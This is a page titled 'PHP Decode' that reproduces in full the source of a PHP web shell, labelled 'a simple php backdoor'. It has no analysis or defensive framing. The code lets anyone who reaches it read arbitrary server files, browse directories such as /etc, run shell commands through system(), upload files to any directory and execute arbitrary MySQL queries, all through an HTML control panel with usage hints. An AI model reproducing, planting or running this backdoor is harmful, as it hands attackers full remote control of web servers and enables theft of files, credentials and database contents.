PHP Decode

<? 
// a simple php backdoor | coded by z0mbie [30.08.03] | http://freenet.am/~zombie \ 
 
ob_implicit_flush(); 
if(isset($_REQUEST['f'])){ 
        $filename=$_REQUEST['f']; 
        $file=fopen("$filename","rb"); 
        fpassthru($file); 
        die; 
} 
if(isset($_REQUEST['d'])){ 
        $d=$_REQUEST['d']; 
        echo "<pre>"; 
        if ($handle = opendir("$d")) { 
        echo "<h2>listing of $d</h2>"; 
                   while ($dir = readdir($handle)){  
                       if (is_dir("$d/$dir")) echo "<a href='$PHP_SELF?d=$d/$dir'><font color=grey>"; 
							else echo "<a href='$PHP_SELF?f=$d/$dir'><font color=black>"; 
                       echo "$dir
";  
                       echo "</font></a>"; 
                } 
                        
        } else echo "opendir() failed"; 
        closedir($handle); 
        die ("<hr>");  
} 
if(isset($_REQUEST['c'])){ 
	echo "<pre>"; 
	system($_REQUEST['c']);		    
	die; 
} 
if(isset($_REQUEST['upload'])){ 
 
		if(!isset($_REQUEST['dir'])) die('hey,specify directory!'); 
			else $dir=$_REQUEST['dir']; 
		$fname=$HTTP_POST_FILES['file_name']['name']; 
		if(!move_uploaded_file($HTTP_POST_FILES['file_name']['tmp_name'], $dir.$fname)) 
			die('file uploading error.'); 
} 
if(isset($_REQUEST['mquery'])){ 
	 
	$host=$_REQUEST['host']; 
	$usr=$_REQUEST['usr']; 
	$passwd=$_REQUEST['passwd']; 
	$db=$_REQUEST['db']; 
	$mquery=$_REQUEST['mquery']; 
	mysql_connect("$host", "$usr", "$passwd") or 
    die("Could not connect: " . mysql_error()); 
    mysql_select_db("$db"); 
    $result = mysql_query("$mquery"); 
	if($result!=FALSE) echo "<pre><h2>query was executed correctly</h2>
"; 
    while ($row = mysql_fetch_array($result,MYSQL_ASSOC)) print_r($row);   
    mysql_free_result($result); 
	die; 
} 
?> 
<pre><form action="<? echo $PHP_SELF; ?>" METHOD=GET >execute command: <input type="text" name="c"><input type="submit" value="go"><hr></form>  
<form enctype="multipart/form-data" action="<?php echo $PHP_SELF; ?>" method="post"><input type="hidden" name="MAX_FILE_SIZE" value="1000000000"> 
upload file:<input name="file_name" type="file">   to dir: <input type="text" name="dir">&nbsp;&nbsp;<input type="submit" name="upload" value="upload"></form> 
<hr>to browse go to http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=[directory here] 
<br>for example: 
http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=/etc on *nix 
or http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=c:/windows on win 
<hr>execute mysql query: 
<form action="<? echo $PHP_SELF; ?>" METHOD=GET > 
host:<input type="text" name="host"value="localhost">  user: <input type="text" name="usr" value=root> password: <input type="text" name="passwd"> 
 
database: <input type="text" name="db">  query: <input type="text" name="mquery"> <input type="submit" value="execute"> 
</form> 
 
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